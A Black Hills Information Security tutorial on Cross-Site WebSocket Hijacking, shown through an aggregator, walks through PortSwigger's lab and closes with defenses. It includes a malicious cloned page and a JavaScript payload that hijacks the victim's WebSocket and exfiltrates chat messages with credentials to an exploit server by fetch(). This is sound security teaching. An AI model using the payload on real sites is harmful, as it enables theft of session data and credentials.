惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 司徒正美
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
G
Google Developers Blog
T
Threat Research - Cisco Blogs
Cyberwarzone
Cyberwarzone
罗磊的独立博客
S
Security Affairs
D
Docker
Microsoft Azure Blog
Microsoft Azure Blog
G
GRAHAM CLULEY
W
WeLiveSecurity
博客园 - Franky
C
Check Point Blog
The Last Watchdog
The Last Watchdog
F
Full Disclosure
Security Latest
Security Latest
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
AWS News Blog
AWS News Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
T
Troy Hunt's Blog
S
Secure Thoughts
Security Archives - TechRepublic
Security Archives - TechRepublic
P
Privacy & Cybersecurity Law Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
P
Privacy International News Feed
S
Schneier on Security
C
Cyber Attacks, Cyber Crime and Cyber Security
T
Tenable Blog
aimingoo的专栏
aimingoo的专栏
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Recent Announcements
Recent Announcements
IT之家
IT之家
D
DataBreaches.Net
U
Unit 42
博客园 - 聂微东
H
Hacker News: Front Page
GbyAI
GbyAI
T
The Exploit Database - CXSecurity.com
N
News and Events Feed by Topic
Simon Willison's Weblog
Simon Willison's Weblog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
TaoSecurity Blog
TaoSecurity Blog
Google Online Security Blog
Google Online Security Blog
T
Threatpost
博客园 - 叶小钗
V
V2EX
Hugging Face - Blog
Hugging Face - Blog
K
Kaspersky official blog

Black Hills Information Security, Inc.

Bad Habits: An ANTISOC Operation Same Problem, Different Angles: When Red Team and Blue Team Actually Talk to Each Other How to Identify and Exploit New Vulnerabilities Swapper – A Pure Regex Match/Replace Burp Extension A Practical Guide to BloodHound Data Collection Network Engineering Basics Signed, Trusted, and Abused: Proxy Execution via WebView2 Getting Started In Pentesting – Advice From The BHIS Pentest Lead Cloud Security: Tips and Resources for Securing the Cloud Lessons From A Chatbot Incident How to Lead Effective Tabletops Understanding GRC: How to Navigate Risks and Compliance Standards The “P” in PAM is for Persistence: Linux Persistence Technique Malware Analysis: How to Analyze and Understand Malware OSINT: How to Find, Use, and Control Open-Source Intelligence What to Do with Your First Home Lab When the SOC Goes to Deadwood: A Night to Remember Social Engineering and Microsoft SSPR: The Road to Pwnage is Paved with Good Intentions Common Cyber Threats Finding the Right Penetration Testing Company Deceptive-Auditing: An Active Directory Honeypots Tool The Curious Case of the Comburglar How to Set Smart Goals (That Actually Work For You) Inside the BHIS SOC: A Conversation with Hayden Covington Abusing Delegation with Impacket (Part 3): Resource-Based Constrained Delegation Why You Got Hacked – 2025 Super Edition Abusing Delegation with Impacket (Part 2): Constrained Delegation Abusing Delegation with Impacket (Part 1): Unconstrained Delegation GoSpoof – Turning Attacks into Intel Model Context Protocol (MCP) Bypassing WAFs Using Oversized Requests Getting Started with AI Hacking Part 2: Prompt Injection Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 2) DomCat: A Domain Categorization Tool Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 1) Microsoft Store and WinGet: Security Risks for Corporate Environments Default Web Content MailFail Commonly Abused Administrative Utilities: A Hidden Risk to Enterprise Security Stop Spoofing Yourself! Disabling M365 Direct Send Bypassing CSP with JSONP: Introducing JSONPeek and CSP B Gone Offensive Tooling Cheatsheets: An Infosec Survival Guide Resource DNS Triage Cheatsheet GraphRunner Cheatsheet Burp Suite Cheatsheet Impacket Cheatsheet Wireshark Cheatsheet Hashcat Cheatsheet EyeWitness Cheatsheet Nmap Cheatsheet Netcat (nc) Cheatsheet Hunt for Weak Spots in Your Wireless Network with Airodump-ng from the Aircrack-ng Suite Detecting ADCS Privilege Escalation Vulnerability Scanning with Nmap Getting Started with NetExec: Streamlining Network Discovery and Access How to Use Dirsearch Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 3: Arcanum Cyber Security Bot How to Design and Execute Effective Social Engineering Attacks by Phone Abusing S4U2Self for Active Directory Pivoting Why Use a Macro Pad? Espanso: Text Replacement, the Easy Way Caging Copilot: Lessons Learned in LLM Security Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 2: Copilot Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 1: Burpference Intercepting Traffic for Mobile Applications that Bypass the System Proxy How to Root Android Phones Communicating Security to the C-Suite: A Strategic Approach Offline Memory Forensics With Volatility Getting Started with AI Hacking: Part 1 Go-Spoof: A Tool for Cyber Deception How to Test Adversary-in-the-Middle Without Hacking Tools Canary in the Code: Alert()-ing on XSS Exploits How to Hack Wi-Fi with No Wi-Fi Why Your Org Needs a Penetration Test Program Burp Suite Extension: Copy For Light at the End of the Dark Web Wi-Fi Forge: Practice Wi-Fi Security Without Hardware Avoiding Dirty RAGs: Retrieval-Augmented Generation with Ollama and LangChain Gone Phishing: Installing GoPhish and Creating a Campaign 5 Things We Are Going to Continue to Ignore in 2025 John Strand’s 5 Phase Plan For Starting in Computer Security Questions From a Beginner Threat Hunter GRC for Security Managers: From Checklists to Influence AI Large Language Models and Supervised Fine Tuning Attack Tactics 9: Shadow Creds for PrivEsc w/ Kent & Jordan One Active Directory Account Can Be Your Best Early Warning Introduction to Zeek Log Analysis Indecent Exposure: Your Secrets are Showing Creating Burp Extensions: A Beginner’s Guide Pitting AI Against AI: Using PyRIT to Assess Large Language Models (LLMs) The Top Ten List of Why You Got Hacked This Year (2023/2024) ICS Hard Knocks: Mitigations to Scenarios Found in ICS/OT Backdoors & Breaches Intro to Data Analytics Using SQL Finding Access Control Vulnerabilities with Autorize The Detection Engineering Process Cyber Risk Lessons We Can Learn From Hurricane Preparedness Intro to Desktop Application Testing Methodology What Is Penetration Testing? Adversary in the Middle (AitM): Post-Exploitation Pentesting, Threat Hunting, and SOC: An Overview
Can’t Stop, Won’t Stop Hijacking (CSWSH) WebSockets
BHIS · 2024-03-21 · via Black Hills Information Security, Inc.

Jack Hyland has worked in information security ever since graduating college and has dedicated his free time to deeply learning new techniques and technologies. He now spends his time creating and contributing to open-source projects along with performing security assessments of corporations networks and infrastructure.

The WebSocket Protocol, standardized in 2011 with RFC 6455, enables full-duplex communication between clients and web servers over a single, persistent connection, resolving a longstanding limitation of HTTP that hindered bidirectional client to server communication. For example, if you’d like to receive real-time sports updates for a game, your web browser would need to send a request to the web server once every second checking if there were any changes to the score. With WebSockets, the server sends your browser the updates as they happen, removing the need for constant polling. This reduces bandwidth usage and delays experienced by the user for real-time events.  

The differences between the traditional HTTP connection and a WebSocket connection are illustrated below. Notice that after the handshake, the WebSocket session remains connected and is bidirectional, while in a traditional HTTP transaction the connection is terminated, requiring a new request. 

WebSocket vs HTTP

This blog will demonstrate how to exploit the handshake step of the WebSocket protocol, allowing a malicious webpage to hijack a WebSocket using the victim’s cookies. Each time I’ve encountered an application using WebSockets on a penetration test with meaningful functionality, this vulnerability was present. The impact has ranged from privilege escalation to remote code execution. For a more general overview of WebSocket hacking, reference our previous blog post — How to Hack WebSockets and Socket.io.

Understanding and Detecting WebSockets 

I’ll be using Burp Suite Academy’s free online lab so anyone can follow along. The lab occasionally timed out and needed to be refreshed, which caused a slight change in the subdomain name throughout the blog. 

First things first, you need to determine if the web application you are testing uses WebSockets. The best way to go about this is to set up Burp Suite to capture traffic and click around every page you see. Most of the time, only a small component of the site will use WebSockets, so you’ll have to search around. Next, open Burp Suite and click the Proxy -> WebSockets history tabs to view any captured WebSocket traffic. If nothing appears then, no WebSocket traffic was found. As shown below, the /chat endpoint appeared to send and receive data over WebSockets. 

WebSocket Communication from Live Chat Captured in Burp Suite 

Let me backtrack a bit and give some context to how the WebSocket connection was established in the first place. It all starts with good ole’ HTTP, as you can see in the image above. Browsing to the /chat endpoint returned an HTML document with the following reference to a JavaScript file. 

<script src="/resources/js/chat.js"> 

Once loaded, the JavaScript opened a new WebSocket connection and referenced the action attribute of the chat form to get the URL.

function openWebSocket() {
return new Promise(res => {
    if (webSocket) {
        res(webSocket);
        return;
    }
    let newWebSocket = new WebSocket(chatForm.getAttribute("action"));
});
}

The HTML snippet below shows the action attribute of the referenced chat form. The URL highlighted in red is used by the WebSocket code above. Please note that wss:// stands for WebSocket secure and tells a WebSocket client library to use TLS to connect to a WebSocket server. If you ever see a server send meaningful data over WebSockets without transport layer encryption, such as ws://, this would be a finding. 

<form id="chatForm" action="wss://0aaf007d04e7a0c383151979009000dd.web-security-academy.net/chat">
     <p>Your message: </p>
     <textarea id="message-box" name="message" maxlength=500></textarea>
     <button class="button" type="submit">
         Send
     </button>
</form>

Once the JavaScript is executed, the browser will make the following HTTP request, forming a handshake between the client and server. The server returns a 101 Switching Protocol response, which halts all communication over HTTP and transitions to WSS. Please note, the Sec-WebSocket-Key request header does not have anything to do with the TLS encryption used or anything related to cryptography, for that matter; this is a common misconception. Instead, it provides a challenge-response mechanism to ensure that the server receiving the WebSocket connection request is a WebSocket-capable server, as documented in RFC 6455 section 11.3.1.  

HTTP Handshake to Establish a WebSocket

The image below shows the JSON message sent by the server to the client after the connection was established.

Example WebSocket Communication

The Quirk

A poorly documented “quirk” of the WebSocket specification is that it is not bound by the same-origin policy (SOP), even during the HTTP handshake. Yeah, you read that right… RFC 6455, section 10.2 states:

Servers that are not intended to process input from any web page but only for certain sites SHOULD verify the |Origin| field is an origin they expect.  If the origin indicated is unacceptable to the server, then it SHOULD respond to the WebSocket handshake with a reply containing HTTP 403 Forbidden status code.

For those unfamiliar, the SOP is a very strict, on-by-default security feature implemented by web browsers to prevent scripts on one origin (domain) from making requests to a different origin. This prevents blackhillsinfosec.com from siphoning money out of your chase.com bank account via CSRF.

While the RFC excerpt does not explicitly state that the SOP is not enforced, it does leave the Origin header verification up to the web server’s responsibility (which is the same thing). Why? I have no idea. This means that any website on the internet you browse is, by default, allowed to access all WebSocket connections your browser has access to. Since most developers are unaware of this fact, I’ve found this vulnerability to be present more often than not. A concise explanation of SOP is shown in the image below (shoutout to the team at SecurityZines.com for the great graphic!):

SOP SecurityZine Graphic (https://securityzines.com/flyers/sop.html)
 

Cross-Origin Resource Sharing (CORS) relaxes the SOP by allowing web pages to request and share resources (e.g., data or images) from different domains. CORS headers on the server define which origins are permitted to access the resources, enhancing security while enabling controlled cross-origin interactions in web applications.  

Cross-Site WebSocket Hijacking 

Cross-Site WebSocket Hijacking (CSWSH) occurs when a server doesn’t validate the origin header in the HTTP handshake and the application uses authentication cookies that set the samesite flag to None. By tricking the user into visiting a malicious site, the attacker can establish and manipulate WebSocket traffic in the victim’s browser.  

Essentially, we need to test if the application developers wrote code to validate the Origin header on the server side or not. The first step is to send a WebSocket request to the repeater tab. This can be done by right-clicking, as shown below, or by hitting CTRL + R

Send WebSocket Request to Repeater 

Go to the Repeater tab in Burp Suite (CTRL + SHIFT + R)and find the WebSocket request you sent. Next, click the edit connection button shaped like a pencil. Note that the toggle next to the pencil is blue, which indicates the WebSocket connection is alive. If it was gray, the connection would be dead. You can toggle the switch to try and re-establish the WebSocket connection. 

WebSocket Repeater 

This will open a new window showing you all the alive and dead WebSocket connections intercepted by Burp Suite. Click on an alive connection and then click “Clone.” If all connections are dead, choose one and then click “Reconnect.” 

WebSocket Selection Screen 

Next, spoof the origin header value to be your malicious domain instead of the PortSwigger domain and click “Connect.” 

Spoofed Origin Header Value 

If the server does not return a 403 unauthorized response and allows you to send and receive data, the server is likely vulnerable to CSWSH. The image below shows the steps taken to send the message “BHIS CSWSH” through the WebSocket established with a spoofed origin. Box #3 shows the history of messages sent back and forth through the socket, while box #4 shows the server’s response. 

WebSocket Connection Successful with Spoofed Origin 

To prove that the connection you are using was established using the spoofed origin, make note of the WebSocket ID that matches the number shown in box #1. Next, click the pencil icon shown in box #2 and then click “clone.” Lastly, verify that the origin header value shown in box #3 matches the one you previously spoofed.  

Note that the domain next to the WebSocket ID and at the top of the connection window won’t change. We’re only spoofing the origin of where the connection originated, not where the request is sent. 

Verifying that WebSocket ID #14 Used the Spoofed Origin 

The last requirement for CSWSH to work is that the cookie sent must have the samesite flag set to None. This allows the browser to send the website’s cookies in cross-site requests; as of 2020, both Chrome and Firefox default this value to Lax1 2 if omitted. You can check the value by either opening the developer tools with CTRL + SHFT + I and clicking on the cookie section within the storage tab or by using the Cookie Quick Manager on Firefox. As shown below, the website’s session cookie has the samesite flag set to None, which is what we need. 

Cookie Quick Manager Extension Shows Samesite is None 

You can also delete the cookies from the request to see if authentication is required to establish a WebSocket. If it’s not, then you likely have a finding to report, depending on the context. 

Exploiting

Now that we have confirmed the server is vulnerable to CSWSH, we can start crafting an exploit. Our goal is to make a one-to-one malicious clone of the PortSwigger lab, providing the attacker read-write access to the user’s WebSocket connection.  

The success of the exploit relies on the browser used by the victim. To my knowledge, it is not possible to exploit CSWSH if the victim uses Firefox, due to Total Cookie Protection3. However, all other browsers, including Chrome and Chromium derivatives, are fair game.  


The success of the exploit relies on the browser used by the victim. To my knowledge, it is not possible to exploit CSWSH if the victim uses Firefox, due to Total Cookie Protection. However, all other browsers, including Chrome and Chromium derivatives, are fair game.  

A typical attack scenario looks like this: 

  1. Attacker finds vulnerable WebSocket conditions. 
  1. Attacker develops local POC, simulating a social engineering attack. 
  1. Attacker hosts malicious POC on attacker-controlled site. 
  1. Attacker entices victim to visit attacker-controlled site. 
  1. Malicious site hijacks the victim’s authenticated WebSocket connection. 
  1. Attacker siphons victim data or sends unauthorized WebSocket commands. 

To follow along, copy the code below to a text editor and change the subdomains highlighted in red to match your PortSwigger lab instance. Save the code to a file called test.html and open it locally in a web browser — this will act as our malicious webpage. This provides a clone of the PortSwigger lab that the attacker has full read-write access to. The code highlighted in blue towards the end loads the chat.js resource, which opens the WebSocket to the PortSwigger lab within the context of the malicious website. For a refresher, look back at the “Understanding and Detecting WebSockets” section where the process is explained in more detail. 

<!DOCTYPE html> 
<html> 
    <head> 
        <link href=https://0a4600e703cc3f7b867e3026000f00da.web-security-academy.net/resources/labheader/css/academyLabHeader.css rel=stylesheet> 
        <link href=https://0a4600e703cc3f7b867e3026000f00da.web-security-academy.net/resources/css/labs.css rel=stylesheet> 
        <title>Cross-site WebSocket hijacking</title> 
    </head> 
    <body> 
        <script src="https://0a4600e703cc3f7b867e3026000f00da.web-security-academy.net/resources/labheader/js/labHeader.js"></script> 
        <div id="academyLabHeader"> 
            <section class='academyLabBanner'> 
                <div class=container> 
                    <div class=logo></div> 
                        <div class=title-container> 
                            <h2>Cross-site WebSocket hijacking</h2> 
                            <a class=link-back href='https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab'> 
                                Back&nbsp;to&nbsp;lab&nbsp;description&nbsp; 
                                <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow> 
                                    <g> 
                                        <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon> 
                                        <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon> 
                                    </g> 
                                </svg> 
                            </a> 
                        </div> 
                        <div class='widgetcontainer-lab-status is-notsolved'> 
                            <span>LAB</span> 
                            <p>Not solved</p> 
                            <span class=lab-status-icon></span> 
                        </div> 
                    </div> 
                </div> 
            </section> 
        </div> 
        <div theme=""> 
            <section class="maincontainer"> 
                <div class="container is-page"> 
                    <header class="navigation-header"> 
                        <section class="top-links"> 
                            <a href=/>Home</a><p>|</p> 
                            <a href="/my-account">My account</a><p>|</p> 
                            <a href="/chat">Live chat</a><p>|</p> 
                        </section> 
                    </header> 
                    <header class="notification-header"> 
                    </header> 
                    <h1>Live chat</h1> 
                    <table id="chat-area" class="is-table-information"> 
                    </table> 
                    <form id="chatForm" action="wss://0a4600e703cc3f7b867e3026000f00da.web-security-academy.net/chat"> 
                        <p>Your message: </p> 
                        <textarea id="message-box" name="message" maxlength=500></textarea> 
                        <button class="button" type="submit"> 
                            Send 
                        </button> 
                    </form> 
                    <script src="https://0a4600e703cc3f7b867e3026000f00da.web-security-academy.net/resources/js/chat.js"></script> 
                    <br> 
                </div> 
            </section> 
            <div class="footer-wrapper"> 
            </div> 
        </div> 
    </body> 
</html> 

Now that we have the malicious website saved, we can send it to our victim, who should have a pre-established session on the vulnerable website. For simplicity, we will pretend to be the victim and open the webpage within our Chrome or Chromium-based browser. As shown below, the user’s chat history is automatically populated even though we are outside the context of https://0a4600e703cc3f7b867e3026000f00da.web-security-academy.net. The attacker’s webpage has full control over the victim’s authenticated WebSocket connection. 

Malicious Website Hijacked Victim’s WebSocket 

If we intercept the traffic, we can see that the victim’s cookies were automatically appended to the PortSwigger lab server request made by the malicious website. This is allowed by the browser since the samesite flag for the session cookie was set to None. Also, we see that the Origin header is set to null; this is because the webpage was not hosted on a web server with a domain name but instead a file on our hard drive. It’s important to note that the Origin header cannot be modified via JavaScript and is considered a “forbidden header name” by the browser.4 

HTTP Handshake Between Victim’s Browser and the Server 

Solve the Lab 

To solve the PortSwigger lab, click on the “Go to exploit server” button at the top of the lab webpage and enter the code below into the body of the message. This process in the lab simulates a social engineering scenario where a victim with a session renders our malicious JavaScript within their browser. Make sure to modify the subdomain highlighted in red to match your PortSwigger lab instance. Next, click “Store” followed by “Deliver exploit to victim.”  

Once the victim’s browser renders the following JavaScript, their WebSocket connection to the lab instance will be hijacked, the READY command is sent, and the chat history returned to the exploit server is base64 encoded inside a GET parameter value. 

<script> 
    // Creating a new WebSocket instance and connecting to the specified URL 
    var ws = new WebSocket('wss://0a4600e703cc3f7b867e3026000f00da.web-security-academy.net/chat'); 

    // Event handler for when the WebSocket connection is successfully opened 
    ws.onopen = function() { 
        // Sending the "READY" message to the server upon successful connection 
        ws.send("READY"); 
    }; 

    // Event handler for when a message is received from the WebSocket 
    ws.onmessage = function(event) { 
        // Sending a fetch request to an exploit server with the received message encoded in base64 
        fetch('https://exploit-0a25005203393faf86f42f7201520079.exploit-server.net/exploit?msg=' + btoa(event.data)); 
    }; 
</script> 

Once all of that is done, click on “Access log” and CTRL + F for “msg.” This will show you the exfiltrated base64-encoded messages sent and received by the victim. Feel free to go through and decode each one, however, the third one down will have the username and password. 

Access Log with the Victim’s Base64 Chat Messages 

Go to the decoder tab in Burp Suite and paste the base64-encoded string. Next, decode it as base64 and then HTML to get the plain text JSON. As shown below, the username is carlos and the password is the long random string. Note that this password will not work for your lab, so you’ll have to reproduce each of the steps to get the points. 

Decoded Victim Chat String 

On the home page of the lab click “My account” to submit the username and password retrieved in the previous step. This will solve the lab! 

CSWSH Lab Successfully Solved 

Defense

To properly defend against this attack, the WebSocket server should block any requests during the HTTP handshake with origin values outside of a strict allowlist. Additionally, user session cookies should be set with samesite equal to Lax or Strict

Real Attack Scenarios 

I’ve seen this vulnerability multiple times on penetration tests, and each time it was possible to combine CSWSH with other findings, leading to a higher impact for the report. Here are some anecdotal experiences: 

  1. An application had two portals, one for volunteers and a second for government workers. The dynamic functionality of both applications relied solely on WebSockets. A malicious page was able to hijack the government worker’s WebSocket and perform administrative tasks. 
  1. A CSWSH vulnerability was discovered in an admin portal along with a remote code execution vulnerability within the WebSocket. This allowed an exploit chain to be crafted where a malicious site would hijack the victim’s WebSocket and then establish a reverse shell through the WebSocket back to the attacker’s infrastructure. 

References

Footnotes

  1. https://hacks.mozilla.org/2020/08/changes-to-samesite-cookie-behavior/ ↩︎
  2. https://duo.com/decipher/google-rolls-out-samesite-cookie-changes-to-chrome  ↩︎
  3. https://blog.mozilla.org/en/products/firefox/firefox-rolls-out-total-cookie-protection-by-default-to-all-users-worldwide/  ↩︎
  4. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin  ↩︎


Ready to learn more?

Level up your skills with affordable classes from Antisyphon!

Pay-What-You-Can Training

Available live/virtual and on-demand